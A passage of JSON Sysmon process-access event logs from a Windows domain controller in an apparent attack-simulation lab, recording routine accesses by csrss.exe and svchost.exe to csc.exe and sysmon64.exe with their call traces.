C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4142-5F2D-0000-0010A1C30600}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4660,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4661,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4662,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4663,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4664,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4665,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4666,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4667,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.256\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.256","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\W